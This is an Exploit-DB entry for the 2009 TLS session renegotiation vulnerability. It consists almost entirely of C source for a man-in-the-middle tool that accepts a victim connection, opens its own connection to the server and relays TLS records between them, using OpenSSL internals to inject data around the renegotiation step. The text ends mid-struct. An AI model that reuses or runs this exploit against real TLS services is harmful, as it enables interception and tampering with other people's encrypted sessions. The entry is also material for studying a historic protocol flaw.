Exploit-DB #10072
Description: Multiple Vendor - TLS Protocol Session Renegotiation Security
Type: local
Platform: multiple
Date: 2009-11-12
Author: Marsh Ray

Exploit:
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>

void
fail(const char *proc)
{
  perror(proc);
  exit(1);
}

void
setup_server
    (int *sock, int port)
{
  struct sockaddr_in sa;
  int s, r, i;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  i = 1;
  r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  if (r == -1)
    fail("setup_server:setsockopt(SO_REUSEADDR)");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_server:bind");
  r = listen(s, 5);
  if (r == -1)
    fail("setup_server:listen");
  *sock = s;
}

void
do_accept
    (int *accepted, int sock)
{
  struct sockaddr_in sa;
  socklen_t sl;
  int s;

  sl = sizeof(sa);
  s = accept(sock, (struct sockaddr *) &sa, &sl);
  if (s == -1)
    fail("do_accept:accept");
  fprintf(stderr, "accepted %s:%d\n",
	  inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
  *accepted = s;
}

void
setup_client
    (int *sock, in_addr_t ip, int port)
{
  struct sockaddr_in sa;
  int s, r;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = ip;
  sa.sin_port = htons(port);
  r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_client:connect");
  *sock = s;
}

int
xread
    (int fd, unsigned char *buf, size_t len)
{
  int r, rlen;

  rlen = 0;
  while (len > 0) {
    r = read(fd, buf, len);
    if (r == 0)
      break;
    else if (r == -1)
      return -1;
    buf += r;
    len -= r;
    rlen += r;
  }
  return rlen;
}

struct ssl_io_t
{
  SSL *ssl;
  int fd;
  int raw;
};

extern int
ssl3_read_bytes
    (SSL *s, int type, unsigned char *buf, int len, int peek);

int
rec_read
    (struct ssl_io_t *io, unsigned char *buf)
{
  int r, l;

#if 0
  fprintf(stderr, "rec read %s\n",
	  io->raw & 1 ? "raw" : "cooked");
#endif
  if (io->raw & 1) {
    r = xread(io->fd, buf, 5);
    if (r == 0)
      return 0;
    else if (r != 5)
      fail("rec_read:read1");
    if (buf[0] != 0x80)
      l = (buf[3] << 8) + buf[4];
    else /* ssl2 hack */
      /* fail("rec_read:ssl2"); */
      l = (buf[1]) - 3;
    if (l < 0 || l > (1 << 15)) {
      errno = EINVAL;
      fail("rec_read:reclen");
    }
    r = xread(io->fd, buf + 5, l);
    if (r != l)
      fail("rec_read:read2");
    l += 5;
    return l;
  }
  else {
    r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
    if (r == 0)
      return 0;
    else if (r < 0) {
      if (io->ssl->s3->change_cipher_spec) {
	buf[0] = 0x14;
	buf[1] = (io->ssl->version >> 8);
	buf[2] = (io->ssl->version & 0xff);
	buf[3] = 0;
	buf[4] = 1;
	buf[5] = 1;
	io->raw |= 1;
	io->ssl->s3->change_cipher_spec = 0;
	return 6;
      }
      fail("rec_read:ssl3_read_bytes");
    }
    l = r;
    buf[0] = io->ssl->s3->rrec.type;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = (l >> 8);
    buf[4] = (l & 0xff);
    return l + 5;
  }
}

extern int
ssl3_write_bytes
    (SSL *s, int type, const void *buf_, int len);

void
rec_write
    (struct ssl_io_t *io, unsigned char *buf, size_t len)
{
  int r;

#if 0
  fprintf(stderr, "rec write %s\n",
	  io->raw & 2 ? "raw" : "cooked");
#endif
  if (io->raw & 2) {
    r = write(io->fd, buf, len);
    if (r != len)
      fail("rec_write:write");
  }
  else {
    r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
    if (r < 0) {
      fail("rec_read:ssl3_write_bytes");
    }
    if (buf[0] == 0x14) {
      io->raw |= 2;
    }
  }
}

void
ssl_io
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  struct ssl_io_t *ssls[2];
  int maxfd, active;
  int i, r, l;
  fd_set rfd;
  unsigned char buf[1 << 16];

  ssls[0] = assl;
  ssls[1] = cssl;
  active = 3;
  maxfd = 0;
  for (i = 0; i < 2; i++)
    if (ssls[i]->fd >= maxfd)
      maxfd = ssls[i]->fd + 1;

  while (active) {
    FD_ZERO(&rfd);
    for (i = 0; i < 2; i++)
      if (active & (1 << i))
	FD_SET(ssls[i]->fd, &rfd);
    r = select(maxfd, &rfd, NULL, NULL, NULL);
    if (r == -1)
      fail("rec_io:select");
    for (i = 0; i < 2; i++) {
      if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
	r = rec_read(ssls[i], buf);
	if (r == 0) {
	  shutdown(ssls[i]->fd, SHUT_RD);
	  shutdown(ssls[1 - i]->fd, SHUT_WR);
	  active &= ~(1 << i);
	  continue;
	}
	l = r;
	rec_write(ssls[1 - i], buf, l);
      }
    }
  }
}

void
setup_ssl_ctx
    (SSL_CTX **ctx)
{
  OpenSSL_add_ssl_algorithms();
  SSL_load_error_strings();
  *ctx = SSL_CTX_new(SSLv3_client_method());
  if (!*ctx)
    fail("setup_ssl_ctx:SSL_CTX_new");
}

void
setup_ssl_io
    (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
  SSL *ssl;
  BIO *bio;

  ssl = SSL_new(ctx);
  if (!ssl)
    fail("setup_ssl_ctx:SSL_new");
  bio = BIO_new_socket(sock, BIO_NOCLOSE);
  if (!bio)
    fail("setup_ssl_ctx:BIO_new_socket");
  SSL_set_bio(ssl, bio, bio);
  SSL_set_connect_state(ssl);
  io->ssl = ssl;
  io->fd = sock;
  io->raw = raw;
}

int
bogus_change_cipher_state
    (SSL *ssl, int i)
{
  return 0;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
  int (*enc)(SSL *, int);
  int (*mac)(SSL *, unsigned char *, int);
  int (*setup_key_block)(SSL *);
  int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  int (*change_cipher_state)(SSL *, int);
  int (*final_finish_mac)(SSL *, EVP_MD_C